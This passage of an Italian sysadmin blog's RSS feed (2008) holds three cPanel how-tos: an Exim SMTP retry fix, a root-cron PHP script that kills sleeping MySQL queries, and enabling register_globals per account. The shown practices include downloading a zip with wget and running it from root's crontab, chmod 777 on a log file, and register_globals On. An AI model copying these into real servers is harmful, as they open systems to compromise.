		<category><![CDATA[remote_smtp]]></category>
		<category><![CDATA[retry]]></category>
		<category><![CDATA[smtp]]></category>

		<guid isPermaLink="false">http://blog.morphey.org/index.php/2008/01/09/risoluzione-errore-dell-smtp-di-exim-cpanel-tremote_smtp-defer-53-retry-time-not-reached-for-any-host-e-diminuire-il-problema-della-coda/</guid>
		<description><![CDATA[Il server smtp di cPanel (exim) ultimamente sembra avere problemi con alcuni filtri impostati da grossi provider come tiscali.it, alice.it, msn.it/.com, yahoo.it/.com. L&#8217;errore che troviamo nell&#8217;exim_maillog è generalmente questo: 2008-01-06 12:39:04 1JBTqJ-0008Eo-Mp &#60;= info@www.miodominio.it H=localhost [127.0.0.1] P=esmtpa A=fixed_login:info@miodominio.it S=1372 id=20080106123903.tk8fn2utwgksg8w8@www.miodominio.it 2008-01-06 12:39:04 1JBTqJ-0008Eo-Mp == indirizzo@tiscali.it R=lookuphost T=remote_smtp defer (-53): retry time not reached for any]]></description>
			<content:encoded><![CDATA[<p>Il server <strong>smtp</strong> di <a href="http://www.cpanel.net" target="_blank"><strong>cPanel</strong></a> (<a href="http://www.exim.org" target="_blank"><strong>exim</strong></a>) ultimamente sembra avere problemi con alcuni filtri impostati da grossi provider come <strong>tiscali.it</strong>, <strong>alice.it</strong>, <strong>msn.it</strong>/<strong>.com</strong>, <strong>yahoo.it</strong>/<strong>.com.</strong></p>
<p>L&#8217;errore che troviamo nell&#8217;<strong>exim_maillog </strong>è generalmente questo:</p>
<blockquote><p> 2008-01-06 12:39:04 1JBTqJ-0008Eo-Mp &lt;= info@www.miodominio.it H=localhost [127.0.0.1] P=esmtpa A=fixed_login:info@miodominio.it S=1372 id=20080106123903.tk8fn2utwgksg8w8@www.miodominio.it<br />
2008-01-06 12:39:04 1JBTqJ-0008Eo-Mp == indirizzo@tiscali.it R=lookuphost T=remote_smtp defer (-53): retry time not reached for any host</p></blockquote>
<p>Questo problema, pultroppo, ancora non è stato risolto completamente dagli sviluppatori di cPanel.</p>
<p>Per risolvere, è necessario cambiare il file di configurazione di exim (<strong>exim.conf</strong>).<br />
<span id="more-102"></span><br />
Chiaramente non è possibile cambiare direttamente l&#8217;exim.conf in quanto, al prossimo aggiornamento di cPanel, tutte le impostazioni verranno perse.  Per questo bisogna cambiarle tramite il <strong>WHM</strong>.</p>
<p>Andiamo alla voce &#8220;<strong>Exim Configuration Editor</strong>&#8221; e clicchiamo su &#8220;<strong>Advanced Editor</strong>&#8221; a fine pagina.</p>
<p>Nel primo box (mi raccomando, <strong>il primo</strong>!) inseriamo questi parametri:</p>
<blockquote><p> queue_only_override = false<br />
no_message_logs<br />
log_selector = +arguments +subject<br />
timeout_frozen_after = 2d<br />
ignore_bounce_errors_after = 1d<br />
deliver_queue_load_max=10</p></blockquote>
<p>Salviamo (verrà riavviato in automatico exim) e dovremmo avere risolto il problema.<br />
Per aumentare le possibilità di consegna, bisogna attivare anche le <a href="http://www.mxtoolbox.com/blacklists.aspx" target="_blank"><strong>blacklist</strong></a> sempre dall&#8217;&#8221;<strong>Exim Configuration Editor</strong>&#8220;.</p>
<p><!--upnews--></p>
<img src="http://blog.morphey.org/?ak_action=api_record_view&id=102&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://blog.morphey.org/2008/01/09/risoluzione-errore-dell-smtp-di-exim-cpanel-tremote_smtp-defer-53-retry-time-not-reached-for-any-host-e-diminuire-il-problema-della-coda/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>HOWTO &#8211; Risolvere il problema delle query in sleep su mysql</title>
		<link>http://blog.morphey.org/2008/01/05/howto-risolvere-il-problema-delle-query-in-sleep-su-mysql/</link>
		<comments>http://blog.morphey.org/2008/01/05/howto-risolvere-il-problema-delle-query-in-sleep-su-mysql/#comments</comments>
		<pubDate>Sat, 05 Jan 2008 10:35:08 +0000</pubDate>
		<dc:creator>morphey</dc:creator>
				<category><![CDATA[Howto]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[cPanel]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[overload]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[query]]></category>
		<category><![CDATA[sleep]]></category>

		<guid isPermaLink="false">http://blog.morphey.org/index.php/2008/01/05/howto-risolvere-il-problema-delle-query-in-sleep-su-mysql/</guid>
		<description><![CDATA[E&#8217; capitato molte volte di trovarsi di fronte a un problema serio su macchine in hosting e mysql installato. Se ci sono siti progettati male (e, credetemi, ce ne sono!) molti programmatori non fanno attenzione ad ottimizzare le proprie query. La situazione che si crea, è quella di trovarsi il load alto della macchina e,]]></description>
			<content:encoded><![CDATA[<p>E&#8217; capitato molte volte di trovarsi di fronte a un problema serio su macchine in <strong>hosting</strong> e <strong>mysql</strong> installato.</p>
<p>Se ci sono <strong>siti</strong> progettati male (e, credetemi, ce ne sono!) molti programmatori non fanno attenzione ad ottimizzare le proprie query.</p>
<p>La situazione che si crea, è quella di trovarsi il <strong>load</strong> alto della macchina e, facendo un <strong>mysqladmin proc</strong> da <strong>root</strong>, ci troviamo di fronte una marea di <strong>query in sleep</strong>.</p>
<p>Ho aggirato il problema, facendo questo script che posto di seguito.</p>
<p>In pratica ad intervalli di tempo stabiliti (di default ogni 60 secondi) killa le query in sleep che sono, appunto, in sleep per più di 60 secondi.</p>
<p>Ma passiamo al codice.</p>
<p><em>File: <strong>mysql_sleep_query_kill.php</strong></em></p>
<pre line="1" lang="php">// Mysql sleep kill

//                     * coded by morphey (morphey@morphey.org)

//

// AVVISO: deve essere avviato via cron come utente "root" (uid=0)

// ottimizzato per cPanel

// Configurazione: ___________________________|

// $sleep_time = Impostare i secondi dopo i quali, se la query e' in sleep, si killera' automaticamente la query

$sleep_time = "60";

// $times = Impostare quante volte eseguire lo script | 0 = infinito (rimane in bg)

$times = 1;

// $times_sleep = Impostare quanto tempo far passare prima dell'avvio di un ciclo

$times_sleep = "1";

// $file_log = Impostare il file di log (percorso "assoluto" compreso) | sara' utilizzato per l'invio delle email

$file_log = "/var/log/mysql_kill_query.log";

$database_skip = array();

// $database_skip[] = Impostare i database da far saltare al controllo

$database_skip[] = "eximstats";

$database_skip[] = "horde";

//___________________________________|

function scriviLog($somecontent) {

global $file_log;

$filename = $file_log;

if (!is_file($filename)) { shell_exec("touch ".$filename." ; chmod 777 ".$filename); }

if (!is_writable($filename)) { shell_exec("chmod 777 ".$filename); }

$handle = fopen($filename, 'a');

fwrite($handle, $somecontent."\n");

fclose($handle);

}$active_times = 0;

while ($active_times&lt;=$times) {

$out = shell_exec("mysqladmin proc");

$c = 0;

foreach (explode("\n",$out) as $linea) {

if (!eregi("-+-",$linea)) {

if ($c!=0) {

$arr = explode("|",trim($linea));

if ($arr[1]!="") {

$time = intval(ltrim(rtrim($arr[6])));

settype($time,"integer");

$id = ltrim(rtrim($arr[1]));

$user = ltrim(rtrim($arr[2]));

$database = ltrim(rtrim($arr[4]));

$command = ltrim(rtrim($arr[5]));

$state = ltrim(rtrim($arr[7]));

$query = ltrim(rtrim($arr[8]));

echo "ID-&gt;".$arr[1]." | Time-&gt;".$arr[6]." | User-&gt;".$arr[2]." | Query-&gt;".$query;

if ($time&gt;=$sleep_time) {

$check_db = 0;

foreach ($database_skip as $db_skip) {

if ($database==$db_skip) { $check_db = 1; }

}

if ($check_db!=1) {

// struttura dei log

// id,user,database,command,state,times,query

scriviLog(date("d-m-Y_G.i.s",time()).",".$id.",".$user.",".$database.",".$command.",".$state.",".$time.",".$query);

shell_exec("mysqladmin kill ".$arr[1]);

echo " ==&gt; killed!";

}

}

echo "\n";

}

} else { $c++; }

}

}

if ($times!=0) { $active_times++; }

if ($times!=0) {

if ($active_times&lt;$times) {

sleep($times_sleep);

echo "[sleep-&gt;".$active_times."] for ".$times_sleep." seconds...\n";

}

}

}

?&gt;</pre>
<p>Per semplificare le cose, questo è il codice da lanciare a  mano da root:</p>
<pre line="1" lang="bash">
cd /root ; rm -rf morphtool ; mkdir morphtool ; cd morphtool
wget http://wiki.morphey.org/images/8/8b/Mysql_sleep_query_kill.zip
unzip Mysql_sleep_query_kill.zip ; rm -f Mysql_sleep_query_kill.zip
rm -rf php.ini ; touch php.ini
echo "* * * * * cd /root/morphtool ; php -c php.ini mysql_sleep_query_kill.php &gt; /dev/null &amp;" &gt;&gt; /var/spool/cron/root</pre>
<p><a href="http://wiki.morphey.org/index.php/PHP_SCRIPT_-_Mysql_sleep_query_kill_%28for_cPanel%2C_adaptable_also_to_other_panels%29">This article in english version</a></p>
<p><!--upnews--></p>
<img src="http://blog.morphey.org/?ak_action=api_record_view&id=90&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://blog.morphey.org/2008/01/05/howto-risolvere-il-problema-delle-query-in-sleep-su-mysql/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Abilitare register_globals per un singolo account con apache2 e suPhp su cPanel</title>
		<link>http://blog.morphey.org/2008/01/03/abilitare-register_globals-per-un-singolo-account-con-apache2-e-suphp-su-cpanel/</link>
		<comments>http://blog.morphey.org/2008/01/03/abilitare-register_globals-per-un-singolo-account-con-apache2-e-suphp-su-cpanel/#comments</comments>
		<pubDate>Thu, 03 Jan 2008 13:46:53 +0000</pubDate>
		<dc:creator>morphey</dc:creator>
				<category><![CDATA[Informatica]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[cPanel]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[apache2]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php.ini]]></category>
		<category><![CDATA[register_globals]]></category>
		<category><![CDATA[suphp]]></category>

		<guid isPermaLink="false">http://blog.morphey.org/index.php/2008/01/03/abilitare-register_globals-per-un-singolo-account-con-apache2-e-suphp-su-cpanel/</guid>
		<description><![CDATA[Mi è capitato di dover abilitare il register_globals su accounts utenti di cPanel che erano sotto apache 2 e il SuPHP attivo. La procedura è molto semplice ed è valida anche per altre direttive di php.ini. Prima di tutto, creiamo la directory /usr/local/Zend/register-enabled e creiamo un php.ini vuoto: mkdir -p /usr/local/Zend/register-enabled touch /usr/local/Zend/register-enabled/php.ini Fatto questo]]></description>
			<content:encoded><![CDATA[<p>Mi è capitato di dover abilitare il <strong>register_globals</strong> su accounts utenti di <strong>cPanel </strong>che erano sotto <strong>apache 2</strong> e il <strong>SuPHP </strong>attivo.</p>
<p>La procedura è molto semplice ed è valida anche per altre direttive di <strong>php.ini</strong>.</p>
<p>Prima di tutto, creiamo la directory <strong>/usr/local/Zend/register-enabled</strong> e creiamo un php.ini vuoto:</p>
<blockquote><p>mkdir -p /usr/local/Zend/register-enabled<br />
touch /usr/local/Zend/register-enabled/php.ini</p></blockquote>
<p>Fatto questo editiamo /usr/local/Zend/register-enabled/php.ini e inseriamo dentro la direttiva:</p>
<blockquote><p>register_globals = On</p></blockquote>
<p>Ora editiamo <strong>/etc/httpd/conf/httpd.conf</strong> e andiamo nel <strong>virtual host </strong>del dominio (es. miodominio.it) ed inseriamo tra i tag <strong>&lt;IfModule mod_suphp.c&gt; &#8230; &lt;/IfModule&gt;</strong> queste direttive:</p>
<blockquote><p>suPHP_ConfigPath /usr/local/Zend/register-enabled</p></blockquote>
<p>In questo modo abbiamo il register_globals attivo sul singolo account.</p>
<p><a href="http://forums.cpanel.net/showthread.php?t=65846&amp;highlight=apache2+register_globals" target="_blank">Ulteriori info</a></p>
<img src="http://blog.morphey.org/?ak_action=api_record_view&id=86&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://blog.morphey.org/2008/01/03/abilitare-register_globals-per-un-singolo-account-con-apache2-e-suphp-su-cpanel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
